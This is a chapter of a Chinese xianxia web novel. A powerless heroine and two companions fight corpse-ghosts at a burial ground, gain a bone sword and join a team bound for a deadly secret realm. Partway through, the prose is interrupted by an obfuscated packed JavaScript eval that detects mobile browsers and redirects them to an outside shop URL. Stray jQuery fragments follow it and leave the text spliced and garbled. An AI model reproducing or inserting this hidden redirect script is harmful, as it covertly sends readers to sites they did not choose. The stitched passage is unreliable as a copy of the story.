14. 遑遑城(二)

作品:《小仙不飞升

    锦官城北三十里,乱葬岗。


    “世传人傀令有十块,乱葬岗中有令牌气息,师弟说先来这里碰碰运气!”岳林边走边解释。


    子时刚过,月光被厚重的铅云吞没,荒坟之间磷火飘浮,幽幽点点。叶南风跟在岳林与王琅身后,深一脚浅一脚踩着湿软的腐土。听听缩在她怀里,大气不敢出。


    这地方遍布死气!


    “便是此处。”岳林停在一座无碑的孤坟前,从怀中取出一枚锈迹斑斑的罗盘。指针疯狂旋转,最终颤巍巍指向坟头。


    岳林脸色微变,退后半步。几乎是同时,那座孤坟的泥土开始松动,一只青灰色的手破土而出,五指白骨森森,指甲缝里塞满黑泥,在月光下反射出诡异的金属光泽。那手在空中虚抓两下,猛地一撑,整座坟包轰然炸开!


    泥块纷飞中,一道人影直挺挺立起来。是个穿着暗红喜服的中年男子,面色如铁,双颊煞白,疽痂遍布,只脖颈处一圈细密的缝线,像被人斩首后又精心缝合。他双眼空洞,直勾勾“看”着三人,缓缓咧开嘴,口中没有舌,只有不断涌出的黑血。


    “糟糕,遇到尸鬼了!”岳林喊道,“你们小心!”


    那喜服尸体忽然动了。不是走,是“滑”,双脚离地三寸,如鬼魅般飘向三人,速度快得能看到一道残影,他双手平举,指甲暴涨三寸,直取岳林咽喉!


    一柄无光的短刃寒光滑过,王琅的剑比那尸鬼更快,金铁交击之下,两个双手“啪嗒”一声掉在地上”,尸体动作一滞,岳林趁机抽剑疾刺尸体胸口,而叶南风在尸体出现的瞬间已退到三丈外一株枯树后,于夜色混为一体。她没有灵力,硬拼是找死,也是拖累,只会影响别人拔剑的速度。


    但她的绯瞳在夜色中清晰捕捉到一丝异样:尸体脖颈的缝线处,有极淡的黑色雾气渗出,雾气末端延伸向乱葬岗深处。


    “弱点在脖子!”她扬声喊。


    王琅闻言,短刃轨迹陡然一变,如毒蛇吐信直刺那圈缝线。尸体似有感应,猛地扭头,张口喷出一股腥臭黑气。王琅旋身后撤,黑气擦着面具掠过,落在身后坟头,青草瞬间枯死。


    王琅已凌空一转飞到尸体后方,短刃横劈,头颅应声落下,脖颈断口处一阵黑气极速消散。


    叶南风从枯树后方走出,岳林灵气溢动,南风给他递了一颗丹药,速度服下,转头看向王琅,他早将短刃收回腰间,脸不红,气不喘,应是无碍。


    “主人,小心!”听听怯弱的声音在南风识海中响起,叶南风警惕,下意识得躲在王琅身后。


    乱葬岗的深处一阵瑟索冷风,带着浸透骨髓的阴寒。所有飘浮的磷火齐齐一颤,继而如受召引,汇成一道惨绿的流光,尽数朝着一处汇集。


    “不对劲!”


    话未说完,整座乱葬岗的坟包齐齐一震!


    “咯咯咯……”


    “嘻嘻……”


    “还我命来……”


    无数男女老少的呓语从四面八方涌来,重重叠叠,如潮水般将三人淹没。地面龟裂,一具具残破的尸骸爬出,有的只剩骨架,有的半腐,有面色如生。它们动作僵硬,却目标明确,缓缓合围,将所有去路封死。


    而在尸群之后,一道佝偻的白影静静立在最高的荒坟上。月光之下,森然的骨节如玉般荧滑,一杆惨白的风幡立在白骨之旁,白幡正中,暗红色的木牌不断吸入黑气,白幡每晃动一下,尸群便向前一步。


    “白鬼……”岳林嘶声道,撑剑而起,而王琅将短刃横在身前,叶南风能感觉到他看到了什么有趣的东西,莫非那就是人傀令?


    叶南风手已探入怀中,握住了刚买的遁符,心中盘算着,若是不敌,抢了人傀令速逃。


    王琅动了,身影如鬼魅,短刃在夜色中划出一道冰冷的弧线,不是斩向白鬼,而是斩向他手中的白幡。白骨急退,幡面却已被刃气撕裂大半。他发出一声凄厉的尖啸,身形炸成一团黑雾四散。尸群失去操控,纷纷倒地,化为枯骨。


    乱葬岗重归死寂,只余满地狼藉,红色木牌被王琅收入储物袋,只剩一具白骨静静躺在地上。


    “收尸。”声音如静潭秋波,语气却不容反抗,王琅收刃回鞘,立到她身前,高大的背影挡住了头顶的月光。


    原来不是哑巴?叶南风心想,第一句话就使唤他,着实没礼数,她寄人篱下,又迫于他的战力,老实照做。


    “咚!”


    “怎么收?!”南风看着满地白骨,无从下手,梵真宫何时教过她这些。


    面具男子却不语,一旁的岳林急忙上前解释道,“万物有灵,白鬼集死气成灵,用血气可压。”


    那为什么让她收?岳林的脸上瞬时闪过一丝红晕,压了三分音量轻声继续:“女子之血尤佳!”


    王琅疏离的眼神中透出一丝戏谑,叶南风简直可以想象他面具下的嘴脸,修仙世道,利息为先,带新人,不存在的!


    她垂眸凝视指尖,忽地衔入口中,贝齿一合,猩红血珠缓缓渗出,凝成一粒饱满的赤色玉珠,在将坠未坠的刹那,被她轻轻一甩,血滴划出一道短促弧线,无声没入白色头骨。


    血珠渗入颅骨的刹那,整具白骨寸寸亮起妖异的红光。骨骼如活物般扭动凝结,在刺目光华中凝成三尺长剑,飞旋而起,玉色如节,剑脊蜿蜒着猩红血纹,朝着叶南风嗡鸣如泣。


    “玉骨剑!运气不错!”岳林退后半步,突然弓身施礼,“莳道友勿恼,权宜之计,还望海涵,骨剑认主,权当报酬。”


    王琅一人兀自走在前方,岳林与南风并肩跟在后面,耳边岳林的声音不断,而叶南风却只盯着前方身影陷入沉思,出手就是极品灵石,对人心欲欲念算无遗策,处事利落恩威并济,区区练气,竟恐怖如斯!


    叶南风压下郁闷,将所得骨剑收入储物袋,面上只作寻常应付。


    三人走在锦官城的晨色里,长街两侧次第亮起,将青石路面染得渐入暖黄。岳林健谈,一路讲着遑遑城的规矩,叶南风凝神细听,王琅则始终走在最前,玄铁面具在灯火下泛着冷光,那双眼睛偶尔会落在她身上,转瞬即逝,却总让她心头一凛。


    “遑遑城每三年一开,是仲景设下的人魁之境,入内者需组队,十人一组,共十组。”岳林声音压低,“这秘境里处处是幻境与杀阵,更有往届滞留的怨魂与魔化妖兽,或者仲景用秘法炼制的傀儡,能复制修士的功法神通,与各组厮杀,最后活下来的一组,才能进不寐天。”


    “不过在遑遑城死去的只是人傀替身,人傀死了就是退出遑遑城,不可再入。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966518|193404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “那仲景答应的请求,当真无所不能?”叶南风问道,她最关心的,是能否恢复被废的灵力。


    “传说如此,有人求过续命丹,有人求过上古功法,甚至有人求过逆转因果的秘术。”岳林眼中闪过向往。


    说话间,三人已到了一家名为“宝华楼”的客栈前,楼前悬挂的酒旗上绣着一柄飞剑,灵气萦绕,显然是修士常聚之地。


    刚踏入大堂,便有几道目光投来。靠窗一桌围坐着七人,三男四女,俱是年轻修士,衣着各异,却都气度不凡。


    “岳林,王琅,你们可算回来了!找到了吗?”一个穿紫衣的少女起身招手,语气迫切,岳林略微点头,女子如释重负。她这才看到了叶南风“这位是?”


    “这是莳茴道友,炼丹散修,今日刚认识,正好凑齐十人。”岳林介绍道,又指着那桌人一一说明,“这位是水月宗的苏清,这是天雷阁的秦少峰,百草谷的柳如师姐,还有神鹿泽的三位师兄和清虚观的两位师姐。”


    众人纷纷颔首,苏清性子爽朗,拉着叶南风坐下:“莳茴妹妹,你别怕,我们这组实力不弱,定能闯过遑遑城。”


    叶南风微笑道谢,目光在众人脸上一扫,这些人虽面带轻松,眼底却藏着警惕与算计,毕竟在这生死秘境中,人心叵测,谁也不敢全然信任。


    “莳茴道友,你擅长炼丹?”百草谷的柳如温婉问道,她一身绿衣,腰间药囊散发着清香,“不知你你擅长哪类丹药?”


    “略懂一些,随身带了些常用丹药,若各位需要,可与我交换。”叶南风不动声色得说道。


    “好了,人已到齐,我来说说遑遑城的注意事项。”神鹿泽的大师兄赵默沉声道,他面容刚毅,修为已达筑基初期,是这组的首领,“明日卯时出发,城西三十里的黑风岭便是入口。入内后,每组会被传送到不同区域,需在三日内抵达中心的人魁台,途中会遭遇其他组的攻击,也会遇到仲景设下的考验。记住,我们的目标是活到最后,不是争强好胜,能避则避,保存实力最重要。”


    众人齐声应是,赵默又看向叶南风:“莳茴道友,你的修为……”


    “我灵力尽废,”叶南风坦然道,她早料到会有此问,“不过我擅长治疗和驭兽,或许能帮上些忙。”


    赵默眼中闪过一丝讶异,随即点头:“也好,秘境之中,团队合作,各有所长。”


    当晚,叶南风睡在宝华楼的单间里,她不敢深睡,将银雪玉骨两剑抱在胸前,玉鳞甲穿在贴身衣物里,储物袋紧紧攥在手中。她知道,从踏入锦官城的那一刻起,她就已身处险境,遑遑城更是危机四伏,但为了修复灵根恢复灵力,她别无选择。


    阿绯,等我,叶南风阖眼。


    窗外,锦官城的夜空忽然被一道血色焰火划破。


    紧接着,是第二道、第三道……来自城中不同方向。


    客栈外传来急促的脚步声与惊呼:“东市宝器阁被抢了!阁主死了!”“西巷散修盟遇袭!”“是……是人傀令!好多令牌!”


    叶南风骤然睁眼,隔壁房间,岳林惊惶的声音传来:“师弟,这……”


    一片寂静中,王琅的声音平静地响起,穿透门板,清晰地落在叶南风耳中:


    “游戏,开始了。”